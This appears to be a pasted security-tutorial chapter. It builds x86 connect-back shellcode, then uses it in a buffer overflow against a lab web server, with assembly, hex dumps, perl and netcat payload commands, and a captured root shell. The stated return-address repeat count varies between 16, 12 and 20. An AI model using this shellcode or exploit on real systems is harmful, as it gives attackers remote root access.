View difference between Paste ID: AsrsW19v and 3cf4MvfX

 1. Connect-Back Shellcode
 
 1.1. connectback_shell.s
 
 Code View:
 BITS 32
 
 ; s = socket(2, 1, 0)
   push BYTE 0x66    ; socketcall is syscall #102 (0x66).
   pop eax
   cdq               ; Zero out edx for use as a null DWORD later.
   xor ebx, ebx      ; ebx is the type of socketcall.
   inc ebx           ; 1 = SYS_SOCKET = socket()
   push edx          ; Build arg array: { protocol = 0,
   push BYTE 0x1     ;   (in reverse)     SOCK_STREAM = 1,
   push BYTE 0x2     ;                    AF_INET = 2 }
   mov ecx, esp      ; ecx = ptr to argument array
   int 0x80          ; After syscall, eax has socket file descriptor.
 
   xchg esi, eax     ; Save socket FD in esi for later.
 
 ; connect(s, [2, 31337, ], 16)
   push BYTE 0x66    ; socketcall (syscall #102)
   pop eax
   inc ebx           ; ebx = 2 (needed for AF_INET)
   push DWORD 0x482aa8c0 ; Build sockaddr struct: IP address = 192.168.42.72
   push WORD 0x697a  ;   (in reverse order)    PORT = 31337
   push WORD bx      ;                         AF_INET = 2
   mov ecx, esp      ; ecx = server struct pointer
   push BYTE 16      ; argv: { sizeof(server struct) = 16,
   push ecx          ;         server struct pointer,
   push esi          ;         socket file descriptor }
   mov ecx, esp      ; ecx = argument array
   inc ebx           ; ebx = 3 = SYS_CONNECT = connect()
   int 0x80          ; eax = connected socket FD
 
 ; dup2(connected socket, {all three standard I/O file descriptors})
   xchg eax, ebx     ; Put socket FD in ebx and 0x00000003 in eax.
   push BYTE 0x2     ; ecx starts at 2.
   pop ecx
 dup_loop:
   mov BYTE al, 0x3F ; dup2  syscall #63
   int 0x80          ; dup2(c, 0)
   dec ecx           ; Count down to 0.
   jns dup_loop      ; If the sign flag is not set, ecx is not negative.
 
 ; execve(const char *filename, char *const argv [], char *const envp[])
   mov BYTE al, 11   ; execve  syscall #11.
   push edx          ; push some nulls for string termination.
   push 0x68732f2f   ; push "//sh" to the stack.
   push 0x6e69622f   ; push "/bin" to the stack.
   mov ebx, esp      ; Put the address of "/bin//sh" into ebx via esp.
   push edx          ; push 32-bit null terminator to stack.
   mov edx, esp      ; This is an empty array for envp.
   push ebx          ; push string addr to stack above null terminator.
   mov ecx, esp      ; This is the argv array with string ptr.
   int 0x80          ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
 
 
 
 In the shellcode above, the connection IP address is set to 192.168.42.72, which should be the IP address of the attacking machine. This address is stored in the in_addr structure as 0x482aa8c0, which is the hexadecimal representation of 72, 42, 168, and 192. This is made clear when each number is displayed in hexadecimal:
 
 reader@hacking:~/booksrc $ gdb -q
 (gdb) p /x 192
 $1 = 0xc0
 (gdb) p /x 168
 $2 = 0xa8
 (gdb) p /x 42
 $3 = 0x2a
 (gdb) p /x 72
 $4 = 0x48
 (gdb) p /x 31337
 $5 = 0x7a69
 (gdb)
 
 Since these values are stored in network byte order but the x86 architecture is in little-endian order, the stored DWORD seems to be reversed. This means the DWORD for 192.168.42.72 is 0x482aa8c0. This also applies for the two-byte WORD used for the destination port. When the port number 31337 is printed in hexadecimal using gdb, the byte order is shown in little-endian order. This means the displayed bytes must be reversed, so WORD for 31337 is 0x697a.
 
 The netcat program can also be used to listen for incoming connections with the -l command-line option. This is used in the output below to listen on port 31337 for the connect-back shellcode. The ifconfig command ensures the IP address of eth0 is 192.168.42.72 so the shellcode can connect back to it.
 
 reader@hacking:~/booksrc $ sudo ifconfig eth0 192.168.42.72 up
 reader@hacking:~/booksrc $ ifconfig eth0
 eth0      Link encap:Ethernet  HWaddr 00:01:6C:EB:1D:50
           inet addr:192.168.42.72  Bcast:192.168.42.255  Mask:255.255.255.0
           UP BROADCAST MULTICAST  MTU:1500  Metric:1
           RX packets:0 errors:0 dropped:0 overruns:0 frame:0
           TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
           collisions:0 txqueuelen:1000
           RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)
           Interrupt:16
 
 reader@hacking:~/booksrc $ nc -v -l -p 31337
 listening on [any] 31337 ...
 
 Now, let's try to exploit the tinyweb server program using the connectback shellcode. From working with this program before, we know that the request buffer is 500 bytes long and is located at 0xbffff5c0 in stack memory. We also know that the return address is found within 40 bytes of the end of the buffer.
 
 Code View:
 reader@hacking:~/booksrc $ nasm connectback_shell.s
 reader@hacking:~/booksrc $ hexdump -C connectback_shell
 00000000  6a 66 58 99 31 db 43 52  6a 01 6a 02 89 e1 cd 80  |jfX.1.CRj.j.....|
 00000010  96 6a 66 58 43 68 c0 a8  2a 48 66 68 7a 69 66 53  |.jfXCh..*HfhzifS|
 00000020  89 e1 6a 10 51 56 89 e1  43 cd 80 87 f3 87 ce 49  |..j.QV..C......I|
 00000030  b0 3f cd 80 49 79 f9 b0  0b 52 68 2f 2f 73 68 68  |.?..Iy...Rh//shh|
 00000040  2f 62 69 6e 89 e3 52 89  e2 53 89 e1 cd 80        |/bin..R..S....|
 0000004e
 reader@hacking:~/booksrc $ wc -c connectback_shell
 78 connectback_shell
 reader@hacking:~/booksrc $ echo $(( 544 - (4*16) - 78 ))
 402
 reader@hacking:~/booksrc $ gdb -q --batch -ex "p /x 0xbffff5c0 + 200"
 $1 = 0xbffff688
 reader@hacking:~/booksrc $
 
 
 
 Since the offset from the beginning of the buffer to the return address is 540 bytes, a total of 544 bytes must be written to overwrite the four-byte return address. The return address overwrite also needs to be properly aligned, since the return address uses multiple bytes. To ensure proper alignment, the sumof the NOP sled and shellcode bytes must be divisible by four. In addition, the shellcode itself must stay within the first 500 bytes of the overwrite. These are the bounds of the response buffer, and the memory afterward corresponds to other values on the stack that might be written to before we change the program's control flow. Staying within these bounds avoids the risk of random overwrites to the shellcode, which inevitably lead to crashes. Repeating the return address 16 times will generate 64 bytes, which can be put at the end of the 544-byte exploit buffer and keeps the shellcode safely within the bounds of the buffer. The remaining bytes at the beginning of the exploit buffer will be the NOP sled. The calculations above show that a 402-byte NOP sled will properly align the 78-byte shellcode and place it safely within the bounds of the buffer. Repeating the desired return address 12 times spaces the final 4 bytes of the exploit buffer perfectly to overwrite the saved return address on the stack. Overwriting the return address with 0xbffff688 should return execution right to the middle of the NOP sled, while avoiding bytes near the beginning of the buffer, which might get mangled. These calculated values will be used in the following exploit, but first the connect-back shell needs some place to connect back to. In the output below, netcat is used to listen for incoming connections on port 31337.
 
 reader@hacking:~/booksrc $ nc -v -l -p 31337
 listening on [any] 31337 ...
 
 Now, in another terminal, the calculated exploit values can be used to exploit the tinyweb program remotely.
 
 1.2. From Another Terminal Window
 
 reader@hacking:~/booksrc $ (perl -e 'print "\x90"x402';
 > cat connectback_shell;
 > perl -e 'print "\x88\xf6\xff\xbf"x20 . "\r\n"') | nc -v 127.0.0.1 80
 localhost [127.0.0.1] 80 (www) open
 
 Back in the original terminal, the shellcode has connected back to the netcat process listening on port 31337. This provides root shell access remotely.
 
 reader@hacking:~/booksrc $ nc -v -l -p 31337
 listening on [any] 31337 ...
 connect to [192.168.42.72] from hacking.local [192.168.42.72] 34391
 whoami
 root
 
 The network configuration for this example is slightly confusing because the attack is directed at 127.0.0.1 and the shellcode connects back to 192.168.42.72. Both of these IP addresses route to the same place, but 192.168.42.72 is easier to use in shellcode than 127.0.0.1. Since the loopback address contains two null bytes, the address must be built on the stack with multiple instructions. One way to do this is to write the two null bytes to the stack using a zeroed register. The file loopback_shell.s is a modified version of connectback_shell.s that uses the loopback address of 127.0.0.1. The differences are shown in the following output.
 
 Code View:
 reader@hacking:~/booksrc $ diff connectback_shell.s loopback_shell.s
 21c21,22
 <   push DWORD 0x482aa8c0 ; Build sockaddr struct: IP Address = 192.168.42.72
 ---
 >   push DWORD 0x01BBBB7f ; Build sockaddr struct: IP Address = 127.0.0.1
 >   mov WORD [esp+1], dx  ; overwrite the BBBB with 0000 in the previous push
 reader@hacking:~/booksrc $
 
 
 
 After pushing the value 0x01BBBB7f to the stack, the ESP register will point to the beginning of this DWORD. By writing a two-byte WORD of null bytes at ESP+1, the middle two bytes will be overwritten to form the correct return address.
 
 This additional instruction increases the size of the shellcode by a few bytes, which means the NOP sled also needs to be adjusted for the exploit buffer. These calculations are shown in the output below, and they result in a 397-byte NOP sled. This exploit using the loopback shellcode assumes that the tinyweb program is running and that a netcat process is listening for incoming connections on port 31337.
 
 Code View:
 reader@hacking:~/booksrc $ nasm loopback_shell.s
 reader@hacking:~/booksrc $ hexdump -C loopback_shell | grep --color=auto 00
 00000000  6a 66 58 99 31 db 43 52  6a 01 6a 02 89 e1 cd 80  |jfX.1.CRj.j.....|
 00000010  96 6a 66 58 43 68 7f bb  bb 01 66 89 54 24 01 66  |.jfXCh....f.T$.f|
 00000020  68 7a 69 66 53 89 e1 6a  10 51 56 89 e1 43 cd 80  |hzifS..j.QV..C..|
 00000030  87 f3 87 ce 49 b0 3f cd  80 49 79 f9 b0 0b 52 68  |....I.?..Iy...Rh|
 00000040  2f 2f 73 68 68 2f 62 69  6e 89 e3 52 89 e2 53 89  |//shh/bin..R..S.|
 00000050  e1 cd 80                                          |...|
 00000053
 reader@hacking:~/booksrc $ wc -c loopback_shell
 83 loopback_shell
 reader@hacking:~/booksrc $ echo $(( 544 - (4*16) - 83 ))
 397
 reader@hacking:~/booksrc $ (perl -e 'print "\x90"x397';cat loopback_shell;perl -e 'print
  "\x88\
 xf6\xff\xbf"x16 . "\r\n"') | nc -v 127.0.0.1 80
 localhost [127.0.0.1] 80 (www) open
 
 
 
 As with the previous exploit, the terminal with netcat listening on port 31337 will receive the rootshell.
 
 reader@hacking:~ $ nc -vlp 31337
 listening on [any] 31337 ...
 connect to [127.0.0.1] from localhost [127.0.0.1] 42406
 whoami
 root
 
 Read more at http://programming4.us/security/702.aspx#x0EAVOrEI8yUStDb.99